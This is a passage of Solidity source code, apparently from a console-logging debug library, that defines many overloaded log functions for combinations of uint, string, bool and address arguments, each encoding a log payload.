function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
